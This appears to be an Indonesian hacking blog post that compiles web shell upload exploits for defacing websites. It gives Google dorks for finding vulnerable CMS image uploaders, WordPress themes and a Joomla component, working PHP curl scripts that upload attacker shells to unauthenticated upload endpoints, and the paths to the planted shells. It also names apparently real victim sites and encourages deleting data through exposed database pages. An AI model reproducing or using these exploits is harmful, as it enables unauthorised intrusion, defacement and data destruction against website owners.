deface dengan "CMS admin Image Uploader" Shell Upload Vulnerability Fahmi J rwxr-xr-x 0 09.21

Filename	deface dengan "CMS admin Image Uploader" Shell Upload Vulnerability
Permission	rw-r--r--
Author	Fahmi J
Date and Time	09.21
Label
Action

"CMS admin Image Uploader" Shell Upload Vulnerability


Google Dorks:
inurl: "default_image.asp"
inurl: "default_imagen.asp"
inurl: "/ box_image.htm"

Anda akan mendapat pilihan unggah setelah mengklik link yang Anda punya dengan menggunakan Dorks.
Sekarang pilih deface Anda, atau shell dan upload Big Grin
Format:
shell.asp,. jpg, shell.php;.. html php jpg, gif, jpg, png, pdf, zip......

Anda dapat menggunakan data Tamper juga ...

Live Demo:
http://www.pballcentral.com/admin% 5Cincl ... _image.asp


=====================================================

[#] Wordpress ..... brainstorming meng-upload shell [#]
permintaan:

1 º Shell: THA.php di tempat yang sama
2 º Buat file: inject.php (Jalankan secara online atau dengan xampp)

PHP code:
<?php
$uploadfile="THA.php";
$ch = curl_init("http://target.com/wordpress/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/wordpress/wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";
?>

Google Dork:
inurl :/ wp-content/themes/brainstorm / situs:


Contoh target tanpa link edit:
http://www.kscm.ie/wp-content/themes/bra...?post_id=9

diubah:
/ wp-content/themes/brainstorm/scripts/piecemaker/piecemaker-xml.php? post_id = 9
untuk
/ wp-content/themes/brainstorm/functions/jwpanel/scripts/uploadify/uploadify.php


Contoh Jumlah:
http://www.kscm.ie/wp-content/themes/bra...oadify.php

cari u shell di sini:
http://target/wp-content/uploads/year/month/THA.php

contoh
http://www.kscm.ie/wp-content/uploads/2013/08/THA.php

====================================================

WordPress GeoPlaces Themes (Upload shell exploit)

# Exploit Title: WordPress GeoPlaces Themes >> upload shell exploit
# Google Dork: "inurl:wp-content/themes/GeoPlaces/"
# Date: 2/6/2013
# Exploit Author: xmayaroos
# Vendor Homepage: http://www.geotheme.com/
# Version: [app version - REQUIRED]
# Tested on: [relevant os]
# Greeting To : sec4ever members

/wp-content/themes/GeoPlaces/monetize/upload/

find your shell

/wp-content/uploads/2013/08 (Year / Month)


===================================================

Joomla com_extplorer Components shell upload Vulnerability
#################################

# ISlamic Republic Of Iran Security Team

# http://Www.IrIsT.Ir

#################################

# Exploit Title : joomla com_extplorer Components shell upload Vulnerability

# Author : IrIsT Security & Researcher Team

# Discovered By : Am!r

# Home : http://IrIsT.Ir - http://IrIsT.Ir/forum

# Facebook Page : http://www.facebook.com/pages/IrIsT-Hack...7267857573

# Software Link : http://www.joomla.org

# Security Risk : High

# Tested on : Linux

# Dork : inurl:administrator/components/com_extplorer

#################################
Exploit :

Post.php

<?php

$uploadfile="Amir.php.gif";

$ch =
curl_init("http://www.exemple.com/administrator/components/com_extplorer/uploadhandler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : http://www.exemple.com/images/stories/Amir.php.gif

#################################

# Greats : B3HZ4D - C0dex - TaK.FaNaR - F@rid - Beni_Vanda - dr.koderz - Mr Zer0 - Smartprogrammer - z3r0

# sajjad13and11 - silent - Bl4ck M4n - AHAAD - ARTA - Dj.TiniVini - E2MA3N - Immortal Boy - IR Anonymous

# Mikili - Mr.F@RDIN - Net.W0lf - skote_vahshat - Net.W0lf - MedRiK - 4xp3r-bh - Sokout - mehdiv - soulz

# & All Members In IrIsT.Ir

#################################

#Tnx To : PacketstormSecurity.Org - 1337day.com - exploit-db.com

#################################


=============================================

Dork : allinurl:index.php?db=information_schema


Go to google.com and enter this dork, google will show you About 161,000 results guess how many website are vulnerable for this attack !


This dork bypasses the admin username and pass and takes You directly to information schema tables to get data and You can delete data!!!!
===================================================

Wordpress theme GTD File Upload Vulnerability. #Google Dork: inurl:"/wp-content/themes/GTD/upload/" or allintext:"powered by WordPress. GTD theme by Templatic"

[+]exploit
-----------------------------------------------------------------------
example : http://localhost/wp-content/themes/GTD/upload/

Shell access: http://localhost/wp-content/themes/GTD/attachments/yourshell.php

Enjoy Brothers!


Translate sendiri !
Gue cuman share aja XD
Kalo dah dewo jangan lupa temen :D
Titip nick ./Shanjunisme98

Sumber : Exploit DB